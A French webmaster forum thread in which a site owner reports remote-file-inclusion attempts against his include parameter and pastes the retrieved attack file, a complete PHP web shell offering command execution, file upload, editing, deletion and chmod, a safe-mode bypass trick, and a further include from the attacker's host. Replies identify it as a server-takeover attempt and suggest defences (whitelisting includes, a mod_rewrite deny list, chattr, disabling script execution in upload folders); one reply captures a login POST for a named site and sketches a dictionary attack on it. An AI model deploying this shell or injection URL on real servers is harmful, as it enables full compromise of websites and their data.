Question piratage ?

  • Auteur de la discussion Auteur de la discussion datch
  • Date de début Date de début
WRInaute impliqué
bonjour,

je viens de voir que sur mon site il y a plusieurs adresse ip qui essaye d'inclure dans mes pages une page d'un autre site.

en gros mes page fonctionne par includes ex: index2.php?inc=ma-page
et la je vois que ces ip essaye d'ouvrir : /index2.php?inc=http://globizgroup.com/.img/dog.c?


J'ai telechargé sur ce site "globizgroup.com" la page qu'il essaye d'inclure
voila le code :

Code:
"; // End JavaScript /* Functions */ function cmd($CMDs) { $CMD[1] = ''; exec($CMDs, $CMD[1]); if (empty($CMD[1])) { $CMD[1] = shell_exec($CMDs); } elseif (empty($CMD[1])) { $CMD[1] = passthru($CMDs); } elseif (empty($CMD[1])) { $CMD[1] = system($CMDs); } elseif (empty($CMD[1])) { $handle = popen($CMDs, 'r'); while(!feof($handle)) { $CMD[1][] .= fgets($handle); } pclose($handle); } return $CMD[1]; } if (@$_GET['chdir']) { $chdir = $_GET['chdir']; } else { $chdir = getcwd()."/"; } if (@chdir("$chdir")) { $msg = "Entrance in the directory, OK!"; } else { $msg = "Error to enters it in the directory!"; $chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']); } $chdir = str_replace(chr(92), chr(47), $chdir); if (@$_GET['action'] == 'upload') { $uploaddir = $chdir; $uploadfile = $uploaddir. $_FILES['userfile']['name']; if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $_FILES['userfile']['name'])) { $msg = "{$_FILES['userfile']['name']}, the archive is validates and was loaded successfully."; } else { $msg = "Error when copying archive."; } } elseif (@$_GET['action'] == 'mkdir') { $newdir = $_GET['newdir']; if (@mkdir("$chdir"."$newdir")) { $msg = "{$newdir}, directory created successfully."; } else { $msg = "Error to it creates directory."; } } elseif (@$_GET['action'] == 'newfile') { $newfile = $_GET['newfile']; if (@touch("$chdir"."$newfile")) { $msg = "{$newfile}, created successfully!"; } else { $msg = "Error to tries it creates archive."; } } elseif (@$_GET['action'] == 'del') { $file = $_GET['file']; $type = $_GET['type']; if ($type == 'file') { if (@unlink("$chdir"."$file")) { $msg = "{$file}, successfully excluded archive!"; } else { $msg = "Error to it I excluded archive!"; } } elseif ($type == 'dir') { if (@rmdir("$chdir"."$file")) { $msg = "{$file}, successfully excluded directory!"; } else { $msg = "Error to it I excluded directory!"; } } } elseif (@$_GET['action'] == 'chmod') { $file = $chdir.$_GET['file']; $chmod = $_GET['chmod']; if (@chmod ("$file", $chmod)) { $msg = "Chmod of {$_GET['file']} moved for $chmod successfully."; } else { $msg = 'Error when moving chmod.'; } } elseif (@$_GET['action'] == 'rename') { $file = $_GET['file']; $newname = $_GET['newname']; if (@rename("$chdir"."$file", "$chdir"."$newname")) { $msg = "Archive {$file} named for {$newname} successfully!"; } else { $msg = "Error to it nominates archive."; } } elseif (@$_GET['action'] == 'copy') { $file = $chdir.$_GET['file']; $copy = $_GET['fcopy']; if (@copy("$file", "$copy")) { $msg = "{$file}, copied for {$copy} successfully!"; } else { $msg = "Error when copying {$file} for {$copy}"; } } /* Parte Atualiza 02:48 12/2/2006 */ elseif (@$_GET['action'] == 'cmd') { if (!empty($_GET['cmd'])) { $cmd = @$_GET['cmd']; } if (!empty($_POST['cmd'])) { $cmd = @$_POST['cmd']; } $cmd = stripslashes(trim($cmd)); $result_arr = cmd($cmd); $afim = count($result_arr); $acom = 0; $msg = ''; $msg .= "
Results: ".$cmd."
"; if ($result_arr) { while ($acom <= $afim) { $msg .= "
 ".@$result_arr[$acom]."
"; $acom++; } } else { $msg .= "
Erro ao executar comando.
"; } } elseif (@$_GET['action'] == 'safemode') { if (@!extension_loaded('shmop')) { echo "Loading... module
"; if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) { @dl('php_shmop.dll'); } else { @dl('shmop.so'); } } if (@extension_loaded('shmop')) { echo "Module: shmop loaded!
"; $shm_id = @shmop_open(0xff2, "c", 0644, 100); if (!$shm_id) { echo "Couldn't create shared memory segment\\n"; } $data="\\x00"; $offset=-3842685; $shm_bytes_written = @shmop_write($shm_id, $data, $offset); if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire length of data\\n"; } if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for deletion."; } echo passthru("id"); shmop_close($shm_id); } else { echo "Module: shmop not loaded!
"; } } elseif (@$_GET['action'] == 'zipen') { $file = $_GET['file']; $zip = @zip_open("$chdir"."$file"); $msg = ''; if ($zip) { while ($zip_entry = zip_read($zip)) { $msg .= "Name: " . zip_entry_name($zip_entry) . "\\n"; $msg .= "Actual Filesize: " . zip_entry_filesize($zip_entry) . "\\n"; $msg .= "Compressed Size: " . zip_entry_compressedsize($zip_entry) . "\\n"; $msg .= "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\\n"; if (zip_entry_open($zip, $zip_entry, "r")) { echo "File Contents:\\n"; $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)); echo "$buf\\n"; zip_entry_close($zip_entry); } echo "\\n"; } zip_close($zip); } } elseif (@$_GET['action'] == 'edit') { $file = $_GET['file']; $conteudo = ''; $filename = "$chdir"."$file"; $conteudo = @file_get_contents($filename); $conteudo = htmlspecialchars($conteudo); $back = $_SERVER['HTTP_REFERER']; echo "
Editing {$file} ...
"; echo ""; echo ""; echo ""; echo "
"; echo "
"; echo "
"; echo "
"; print "{$conteudo}
"; echo "
"; echo " "; echo " "; echo "
"; echo "
"; } elseif (@$_GET['action'] == 'save') { $filename = "$chdir".$_GET['file']; $somecontent = $_POST['S1']; $somecontent = stripslashes(trim($somecontent)); if (is_writable($filename)) { @$handle = fopen ($filename, "w"); @$fw = fwrite($handle, $somecontent); @fclose($handle); if ($handle && $fw) { $msg = "{$_GET['file']}, edited successfully!"; } } else { $msg = "{$_GET['file']}, cannot be written!"; } } // Informa��es $cmdget = ''; if (!empty($_GET['cmd'])) { $cmdget = @$_GET['cmd']; } if (!empty($_POST['cmd'])) { $cmdget = @$_POST['cmd']; } $cmdget = htmlspecialchars($cmdget); function asdads() { $asdads = ''; if (@file_exists("/usr/bin/wget")) { $asdads .= "wget "; } if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch "; } if (@file_exists("/usr/bin/curl")) { $asdads .= "curl "; } if (@file_exists("/usr/bin/GET")) { $asdads .= "GET "; } if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx "; } return $asdads; } echo "
"; echo "
"; echo "
Informa��es
"; echo ""; echo "

"; echo ""; echo ""; echo ""; echo "

"; echo ""; echo ""; echo ""; echo "

"; echo ""; echo ""; if (strtoupper(substr($OS, 0,3) != 'WIN')) { $Methods = asdads(); if ($Methods == '') { $Methods = "???"; } echo ""; echo "

"; echo ""; echo ""; } echo ""; echo "

"; echo ""; echo ""; echo ""; echo "

"; echo ""; echo ""; echo "
"; echo "
"; echo "
Sistema: 
 {$OS}
"; echo "
Uname: 
 {$UNAME}
"; echo "
PHP: 
 {$PHPv}, safe mode: {$SafeMode}
"; echo "
Methods: 
 {$Methods}
"; echo "
Ip: 
 {$IpServer}
"; echo "
Command: 
  
"; echo "
"; // Dir echo "
"; echo "
"; if (is_writable("$chdir")) { if (strtoupper(substr($OS, 0,3) == 'WIN')) { echo "
Dir YES: {$chdir} - [New Dir] [New File] [Remote Access]
"; } else { echo "
Dir YES: {$chdir} - [New Dir] [New File] [BackTool]
"; } } else { if (strtoupper(substr($OS, 0,3) == 'WIN')) { echo "
Dir NO: {$chdir} - [New Dir] [New File] [Remote Access]
"; } else { echo "
Dir NO: {$chdir} - [New Dir] [New File] [BackTool]
"; } } if (@!$handle = opendir("$chdir")) { echo " I could not enters in the directory, click here! for return to the original directory!
"; } else { echo " "; echo " "; echo " "; echo " "; echo " "; echo " "; echo " "; echo " "; } else { echo "
$msg"; } echo "
"; echo " "; echo " "; echo " "; echo " "; echo " "; echo " "; echo " "; echo " "; echo " "; $colorn = 0; while (false !== ($file = readdir($handle))) { if ($file != '.') { if ($colorn == 0) { $color = "style=\"background-color: #FFCC66\""; } elseif ($colorn == 1) { $color = "style=\"background-color: #C0C0C0\""; } if (@is_dir("$chdir"."$file")) { $file = $file.'/'; $mode = 'chdir'; } else { $mode = 'edit'; } if (@substr("$chdir", strlen($chdir) -1, 1) != '/') { $chdir .= '/'; } if ($file == '../') { $lenpath = strlen($chdir); $baras = 0; for ($i = 0;$i < $lenpath;$i++) { if ($chdir{$i} == '/') { $baras++; } } $chdir_ = explode("/", $chdir); $chdirpox = str_replace($chdir_[$baras-1].'/', "", $chdir); } $perms = @fileperms ("$chdir"."$file"); if ($perms == '') { $perms = '???'; } $size = @filesize ("$chdir"."$file"); $size = $size / 1024; $size = explode(".", $size); if (@$size[1] != '') { $size = $size[0].'.'.@substr("$size[1]", 0, 2); } else { $size = $size[0]; } if ($size == 0) { if ($mode == 'chdir') { $size = '???'; } } echo ""; echo ""; if (@is_writable ("$chdir"."$file")) { if ($mode == 'chdir') { if ($file == '../') { echo ""; } else { echo ""; } } else { if (is_readable("$chdir"."$file")) { echo ""; } else { echo ""; } } } else { if ($mode == 'chdir') { if ($file == '../') { echo ""; } else { echo ""; } } else { if (@is_readable("$chdir"."$file")) { echo ""; } else { echo ""; } } } echo ""; if ($mode == 'edit') { echo ""; } else { echo ""; } echo ""; if ($colorn == 0) { $colorn = 1; } elseif ($colorn == 1) { $colorn = 0; } } } closedir($handle); } include 'http://globizgroup.com/.img/solo'; ?>
"; echo "
 Upload:"; echo " "; echo "
 
"; if (@!$msg) { echo "
Messages
 
 Perms
 File
 Size
 Commands
 $perms
 $file
 $file
 $file
 $file
 $file
 $file
 $file
 $file
 $size KB
 [Rename] [Del] [Chmod] [Copy]
 [Rename] [Del] [Chmod] [Copy]

v

est ce que quelqu'un a une idée de ce que la personne essaye de faire ?
est ce une tentative de piratage ?
qu'est ce que je risque, qu'est ce que je peut faire?

merci d'avance
 
WRInaute impliqué
Quoi que cela fasse avant de faire tes include du devrait placer des if qui verifie qu'on inclue une de tes pages et pas autre chose. Tu pourras etre plus tranquille comme ca
 
WRInaute impliqué
deja dans ma structure pour inclure une page il y a deja un chemin d'acces ecrit qui se complete avec ma variable.

ex: ../includes/$variable.php

donc je pense que son include n'a pas du marcher.

si je met l'adresse que la personne a mise c'est a dire

monsite.fr/index2.php?inc=http://globizgroup.com/.img/dog.c?

le include ne fonctionne pas... il y a que des message d'erreur sur la page

en partant de la il n'y a pas de risque?
 
WRInaute discret
Si tu as un switch ou des if qui affecte à $variable une valeur fixe, non sortie de l'url, pas vraiment de danger ;)
 
WRInaute passionné
datch a dit:
en gros mes page fonctionne par includes ex: index2.php?inc=ma-page
et la je vois que ces ip essaye d'ouvrir : /index2.php?inc=http://globizgroup.com/.img/dog.c?

Je vais répondre à coté de la question :-)
Mais tu devrais plutot refaire tes pages en utilisant les réécritures. Ca éviterai que des neuneux essaye de pirater ton site de cet façon (même si a priori y'a rien a craindre vu que tu ajoutes un chemin en dur devant la page demandée)
 
WRInaute discret
C'est sur qu'une réécriture en autorisant dans le motif de réécriture uniquement les lettres chiffres et quelques symboles style tiret, underscore, +, et t'es tranquil niveau inclusion.
 
WRInaute impliqué
est ce que quelqu'un a une idée de ce que la personne essaye de faire ?
est ce une tentative de piratage ?

en gros le mec essaye de prender le controle totale de ton serveur :

creation / suppression de fichiers et de repertoires
upload download de fichiers
chmod
execution de commandes
recuperation de la config
etc ...

heureusement que son include n'a pas marché sinon t'etais marron :cry:

PS : je garde le code, ca peut toujours pour verifier ses sites :wink:
 
WRInaute impliqué
on a un script qui suit les utilisateur sur le site, donc j'ai sont IP et l'adresse de la page actuelle.
 
WRInaute impliqué
un bon hacker passe outre toute les protection l'essentiel et de limité au maximum, c'est à dire le max de protection pour la majorité des webmasters......
 
WRInaute impliqué
un bon hacker passe outre toute les protection l'essentiel et de limité au maximum, c'est à dire le max de protection pour la majorité des webmasters......

buen justement , on m'a appris le contraire.
Les hacker passent par des failles de sécurité, et qu'avec les systemes que nous avons actuellement, c'est impossible de pirater si on protége bien.

c'est pour ca que j'ai posté, car je suis pas un as de la sécurité
 
WRInaute accro
En dehors des très gros sites, le hacking est surtout le fait de script kiddies, qui utilisent les failles publiées à droite à gauche.
Quand on voit sur ses serveurs apache le nombre de recherche de fichiers dll :lol:
et sur un autre site, ils m'essayent tout :roll: rien que hier soir, j'ai eu, par le même internaute, des recherches sur des répertoires webmail, phpMyChat avec différentes versions, forums, drupal, wordpress et quantité d'autres répertoires qui n'existent, bien entendu, pas sur ce serveur :lol:
 
WRInaute accro
datch a dit:
en gros si je prends des attaques, je m'inquiete pas, c'est normal.
c'est normal, mais il faut tout faire pour les contrer !
bloquage dans le htaccess par rapport aux mots clés, voire ip, ...
 
WRInaute accro
ajouter cela dans le htaccess
Code:
RewriteRule (sav|cmd\.|portal|admin|community|drupal|blog|wordpress|phpgroupware|awstats|cgi-bin|web|chat|mysql|db\/|horde|imp|mail/|/main|/read|cacti|stats) - [NC,F,L]
ça c'est tout ce qui a été recherché et que je vois en 404 dans les logs. Maintenant, ça enverra du 403 et n'utilisera donc pas la page spéciale 404 dans laquelle on met le plan du site, etc...
 
WRInaute occasionnel
Un autre exemple sur système Linux ou autre unix si les commandes existent.

Tu peux aussi verrouiller (Lecture seule) l'intégralité des fichiers, dossiers, sous-dossiers en ligne (Commandes en tant que root) :

chattr -R +i /mon-dossier-online

Et tu déverrouilles au cas par cas si tu as besoin de travailler un fichier :

chattr -i /mon-dossier-online/mon-fichier

Une fois le fichier édité, verrouillage :

chattr +i /mon-dossier-online/mon-fichier

Les dossiers sensibles protégés par htaccess

Pour les dossiers qui ont besoin d'une autorisation en écriture tu peux renforcer un peu au niveau des serveurs virtuels (Pas d'execution depuis internet avec les types de fichiers suivants) :

<Directory /upload>
AddType text/plain .php .php4 .php5 .phtml .py .pl .cgi .rb
</Directory>

Etc... Ça ne protège pas tout, mais c'est toujours un ptit plus. Et puis toutes les techniques de ce sujet sont cumulables :wink:
 
WRInaute impliqué
Super cool pour les infos
je vais essayer de mettre tous ca en application.

et faire un tuto vidéo ;-)

Merci à tous

si vous voyez d'autres techniques n'hésitez pas.
 
WRInaute discret
à priori pas de soucis, le pb ce sont les messages d'erreur que ça affiche... avec ces messages d'erreur on peut en apprendre bcp sur ton site, comment il est contruit etc...

il faudrait que tu mettes en place un gestionnaire d'erreurs, qui ne les affiche pas, mais qui les logue, et qui, s'il y a une erreur, affiche une page expliquant que "ben désolé, ya une erreur dans l'url que vous avez saisi".

pour les includes de ce type tu peux faire aussi simplement un petit
Code:
if (!is_file("../chemin/$inc")) {
    die("L'url saisie est erronée.<br><a href='accueil.html'>Revenir à l'accueil du site</a>");
} else {
    // inclusion du fichier $inc et reste du code
}
ça donne en gros "si le fichier proposé par $inc n'existe pas, on quitte immédiatement le script en affichant un message.
 
WRInaute impliqué
bien demain je vais avoir du boulot, avec tous ces conseils

merci bcp..

Je pense que le site va être impiratable avec tout ca.

Je vous tiens au courant
 
WRInaute accro
je n'avais pas mis cette règle sur mon www, mais vu qu'un visiteur de ce post a fait des tests, j'ai mis à jour aussi le htaccess de ce site là. :wink:
 
WRInaute impliqué
Code:
RewriteRule (sav|cmd\.|portal|admin|community|drupal|blog|wordpress|phpgroupware|awstats|cgi-bin|web|chat|mysql|db\/|horde|imp|mail/|/main|/read|cacti|stats) - [NC,F,L]

Pourrais tu me traduire ca en francais, nous expliquer un peu plus le fonctionnement stp.

Merci d'avance.
 
Nouveau WRInaute
Bonjour,
Est-ce que ce ne serait pas intéressant au point de vue sécurité de faire ses formulaires en flash/actionscript plutôt qu'en javascript en contrôlant les entrées en actionscript ? Je suppose (je suis tout à fait débutante) que ça ne résout pas tous les problèmes de sécurité, mais est-ce que ça n'en supprimerait pas définitivement une partie ?
 
WRInaute accro
Marie. a dit:
Bonjour,
Est-ce que ce ne serait pas intéressant au point de vue sécurité de faire ses formulaires en flash/actionscript plutôt qu'en javascript en contrôlant les entrées en actionscript ? Je suppose (je suis tout à fait débutante) que ça ne résout pas tous les problèmes de sécurité, mais est-ce que ça n'en supprimerait pas définitivement une partie ?
Ca ne changerait rien, car le problème est sur le traitement ensuite. Et flash ou js, c'est du côté client, ensuite il faut converser avec le serveur, soit en get soit en post.
Et les spammeur industriel passent directement sur cette connexion, sans passer par le formulaire au préalable.
Et un formulaire "sécurisé" :lol: uniquement avec js ce n'est pas un formulaire sécurisé :twisted:
 
WRInaute accro
Leonick a dit:
Marie. a dit:
Bonjour,
Est-ce que ce ne serait pas intéressant au point de vue sécurité de faire ses formulaires en flash/actionscript plutôt qu'en javascript en contrôlant les entrées en actionscript ? Je suppose (je suis tout à fait débutante) que ça ne résout pas tous les problèmes de sécurité, mais est-ce que ça n'en supprimerait pas définitivement une partie ?
Ca ne changerait rien, car le problème est sur le traitement ensuite. Et flash ou js, c'est du côté client, ensuite il faut converser avec le serveur, soit en get soit en post.
Et les spammeur industriel passent directement sur cette connexion, sans passer par le formulaire au préalable.
Et un formulaire "sécurisé" :lol: uniquement avec js ce n'est pas un formulaire sécurisé :twisted:
Tu as raison pour le traitement en aval du formulaire, Leonick, mais il me semble qu'un formulaire en .swf est moins facilement accessible qu'un autre aux robots : le get ou le post, ils le trouveront plus difficilement, il n'est pas dans un code facile à lire en parsant une page. Non ?
 
WRInaute accro
Szarah a dit:
Tu as raison pour le traitement en aval du formulaire, Leonick, mais il me semble qu'un formulaire en .swf est moins facilement accessible qu'un autre aux robots : le get ou le post, ils le trouveront plus difficilement, il n'est pas dans un code facile à lire en parsant une page. Non ?
Effectivement, mais je ne sais pas si les spammeurs lisent les formulaires. Très souvent, on donne les mêmes noms aux champs : nom ou name, url, ville ou town, etc...
et comme fréquemment beaucoup de sites utilisent les mêmes scripts, il suffit de tester les variables définies par les formulaires de base.
Sur mes annuaires, je suis parti d'une base Mydir et, malgré mon urlrewriting, j'ai eu dans mes logs des index.php?id=...
donc maintenant je n'ai plus de fichier index.php et j'ai changé tous les id de Mydir. Comme de toutes façons, mon script est fortement différent de l'original, ça ne gène pas.
Mais sinon, ce que j'ai dit avant, je retrouve plein de tentatives de recherche de failles sur des scripts n'existant pas sur mes sites. Voir règle au dessus.
 
WRInaute accro
datch a dit:
Code:
RewriteRule (sav|cmd\.|portal|admin|community|drupal|blog|wordpress|phpgroupware|awstats|cgi-bin|web|chat|mysql|db\/|horde|imp|mail/|/main|/read|cacti|stats) - [NC,F,L]

Pourrais tu me traduire ca en francais, nous expliquer un peu plus le fonctionnement stp.

Merci d'avance.
c'est par exemple pour quelqu'un qui va chercher si j'ai un blog. Car le script kiddie, il connait les failles, c'est un vrai hacker :evil:
donc il tape www.example.com/blog et là mon serveur lui répond
Code:
Forbidden
You don't have permission to access /blog on this server.
et pareil pour les autres.
Par contre, il ne faut pas avoir une url qui contienne un de ces mots là, sinon il faut modifier la règle pour laisser une certaine autorisation.
Disons que là ça me permet de bloquer ceux qui cherchent mublog, monblog, etc...
 
Nouveau WRInaute
Szarah a dit:
Leonick a dit:
Marie. a dit:
Bonjour,
Est-ce que ce ne serait pas intéressant au point de vue sécurité de faire ses formulaires en flash/actionscript plutôt qu'en javascript en contrôlant les entrées en actionscript ? Je suppose (je suis tout à fait débutante) que ça ne résout pas tous les problèmes de sécurité, mais est-ce que ça n'en supprimerait pas définitivement une partie ?
Ca ne changerait rien, car le problème est sur le traitement ensuite. Et flash ou js, c'est du côté client, ensuite il faut converser avec le serveur, soit en get soit en post.
Et les spammeur industriel passent directement sur cette connexion, sans passer par le formulaire au préalable.
Et un formulaire "sécurisé" :lol: uniquement avec js ce n'est pas un formulaire sécurisé :twisted:
Tu as raison pour le traitement en aval du formulaire, Leonick, mais il me semble qu'un formulaire en .swf est moins facilement accessible qu'un autre aux robots : le get ou le post, ils le trouveront plus difficilement, il n'est pas dans un code facile à lire en parsant une page. Non ?

Il me semble aussi car l'actionscript est compilé, contrairement au javascript. Et on doit pouvoir empêcher des trucs du genre injection sql en testant les entrées du formulaire. C'est peut-être plus facile à ce niveau que sur le serveur ?
 
WRInaute passionné
inclure un fichier script dont le chemin est variabilisé dans un langage buggé comme le php est à mon avis une faute grave

le terme anglophone "exploit" designe justement des comportements non attendus de script/fonction/prog/etc..

de la meme maniere les verifications d'upload d'image se basant seulement sur l'extention sont un vrai danger public

rog
 
WRInaute accro
la seule vraie protection se fait quand même au niveau serveur. Donc action script, voire un formulaire tout en java, si si, on pourrait
Ca ne changera rien. L'injection SQL, l'injection de code, ça se fait evec des GET ou POST sur le serveur.
 
WRInaute passionné
le cas présent est relatif au php et je n'arrive pas à comptbiliser le nombre de bugs que j'ai déjà découvert

et cela ne m'etonnerait pas qu'en malformant l'url, on echappe à la condition is_file tout en produisant une url exploitable

un exemple de bug :

mets un fichier 0.htm dans un dossier et ensuite fais un readdir dessus

rog
 
Nouveau WRInaute
Leonick a dit:
la seule vraie protection se fait quand même au niveau serveur. Donc action script, voire un formulaire tout en java, si si, on pourrait
Ca ne changera rien. L'injection SQL, l'injection de code, ça se fait evec des GET ou POST sur le serveur.

Je ne comprend pas : si tu arrive à empêcher des injections sql (qui se font via un formulaire, si j'ai bien compris) en faisant un contrôle et un filtrage en actionscript des données entrées par le formulaire (avec une liste de mot-clés interdits), les injections ne pourront pas arriver au serveur.
Non ?
 
WRInaute accro
Non, ils ne se font pas via un formulaire obligatoirement.
En fait, quand on utilise les données d'un formulaire, cela suit cette logique

GET /monformulaire.php
serveur -> navigateur : affichage formulaire
on le rempli, voire on fait les première vérification d'usage
on valide le formulaire
POST /traitement-formulaire.php
dans les variables envoyées par POST, on trouve quelque chose de ce genre
C'est là où on fait les vraies vérifications
Code:
POST /soumettre HTTP/1.1
Host: ww.example.com
.../
/...
-----------------------------185352796928798
Content-Disposition: form-data; name="id"
ARRE87547

-----------------------------185352796928798
/...
Bon, si je veux faire du sql injection, le plus pratique est de créer moi même le contenu du POST, sans passer par le formulaire, quitte à tenter des variables n'existant pas effectivement dans le formulaire.
En plus, ça permet d'envoyer du code binaire qui ne passe pas trop bien dans un formulaire html :evil:
 
WRInaute accro
à l'endroit où il est attendu :wink:
En fait, j'envoi les informations attendues. si le formulaire l'envoi sur /soumettre je l'envoi sur soumettre.
Alors on pourrait se dire, oui, mais avec flash, on ne peut faire afficher le code html et donc on est protégé :D
sauf que les informations que j'ai affiché plus haut sont les informations transmises, en clair, par le navigateur. au serveur. :roll:
Visibles avec un analyseur d'en-têtes, par exemple, http://livehttpheaders.mozdev.org/ qui s'installe sur firefox
 
WRInaute accro
Oui, bien sûr mais il est question de robots, pas d'intrus.
Avec un formulaire en flash, le robot ne saura même pas qu'il y a un formulaire, et il ne trouvera aucune instruction get ou post dans la page.
 
WRInaute accro
Szarah a dit:
Oui, bien sûr mais il est question de robots, pas d'intrus.
Avec un formulaire en flash, le robot ne saura même pas qu'il y a un formulaire, et il ne trouvera aucune instruction get ou post dans la page.
disons que le post de départ de ce fil faisait explicitement référence à un intru. En plus, hier quelqu'un a essayé de faire jouer ce script sur un de mes sites. Mais je n'utilise aucune méthode d'inclusion :lol:
PS : en plus, ce site (de hacker ?) a l'air d'être HS ce soir :lol:
 
Nouveau WRInaute
J'ai installé l'engin sur Firefox, ça marche, j'ai compris, merci beaucoup ! :D
Merci pour vos réponses
 
WRInaute accro
Leonick a dit:
Szarah a dit:
Oui, bien sûr mais il est question de robots, pas d'intrus.
Avec un formulaire en flash, le robot ne saura même pas qu'il y a un formulaire, et il ne trouvera aucune instruction get ou post dans la page.
disons que le post de départ de ce fil faisait explicitement référence à un intru. En plus, hier quelqu'un a essayé de faire jouer ce script sur un de mes sites. Mais je n'utilise aucune méthode d'inclusion :lol:
PS : en plus, ce site (de hacker ?) a l'air d'être HS ce soir :lol:
Tu as raison :)
Je ne sais pas pourquoi je me suis bloquée sur les robots. 'sorry.
 
Nouveau WRInaute
désolée d'insister, Leonick, livehttpheaders fonctionne effectivement sur les formulaires en html mais je l'ai essayé sur un formulaire en flash et il me semble qu'il ne donne aucun renseignement exploitable pour un intrus. Voilà l'adresse du site en flash dont j'ai testée le formulaire de contact :www.2studioz.com.
Au passage, j'ai remarqué que la plupart des sites en flash de grosses boites utilisent la boite de contact outlook express plutôt qu'un formulaire de contact en flash.
 
WRInaute accro
Marie. a dit:
désolée d'insister, Leonick, livehttpheaders fonctionne effectivement sur les formulaires en html mais je l'ai essayé sur un formulaire en flash et il me semble qu'il ne donne aucun renseignement exploitable pour un intrus.
ben si
Code:
http://www.2studioz.com/Clients/login.php3

POST /Clients/login.php3 HTTP/1.1
Host: www.2studioz.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.2studioz.com/Clients/
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
pseudo=LOGIN&passe=PASS&Submit=Valider
HTTP/1.x 302 OK
Date: Thu, 05 Apr 2007 09:49:11 GMT
Server: Oxito Web Hosting Service
Location: erreur.htm
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
donc si je veux essayer d'entrer sur le site, je vais faire une attaque par dictionnaire en envoyant directement le POST sur /Clients/login.php3 et en changeant les données de pseudo=LOGIN&passe=PASS&Submit=Valider :twisted:
 
Nouveau WRInaute
il y a un malentendu : tu es allé sur la page accès client avec login et mot de passe, mais ce formulaire-là est en html. Celui que j'ai testé se trouve sur la page contact du site en flash
 
WRInaute accro
Bon, je me suis bien pris la tête pour le trouver. C'est, malheureusement, souvent le cas avec des sites de graphistes. :cry:
Donc ça ouvre un popup, que ff et la gg barre sur IE, et même IE7 bloquent. Sans avertissement.
Je n'avais donc qu'un "merci de votre visite"
alors le contact sur l'accueil envoie un mailto: :roll:
et sinon, l'autre formulaire de contact ne fait pas un POST, mais c'est pire car il envoit un GET :evil:
Code:
GET /contact.php?sender%5Fname=toto&homepage=www%2E2studioz%2Ecom&sender%5Femail=toto%40yahoo%2Enet&Phone=test+message&message=test+message&i=17&validmail=1&message2send=Hello+toto+%21%0A%0AV%E9rifier+votre+message%2E%0Atest+message%0A%0AVotre+E%2Dmail+est%3A+%0Atoto%40yahoo%2Enet%0A%0AVotre+N%B0Tel+est%3A+%0Atest+message HTTP/1.1
donc là pour attaquer, il y a encore moins besoin de connaissances que pour envoyer un POST :roll:
Ce qu'il faut voir, c'est que quelque soit le client html pur, js ou flash les connexion serveur se font en http
 
WRInaute impliqué
heu Leonick tu as laire super callé en piratage.

quand tu as 5 min, si tu pouvais faire un tours sur mon www, ca serait
cool que tu m'indiques mes failles, car on à fait tout
un systeme upload de vidéo, et je ne n'arrive plus trop à dormir la nuit.

merci d'avance.
 

➡️ Offre MyRankingMetrics ⬅️

pré-audit SEO gratuit avec RM Tech (+ avis d'expert)
coaching offert aux clients (avec Olivier Duffez ou Fabien Faceries)

Voir les détails ici

coaching SEO
Discussions similaires
Haut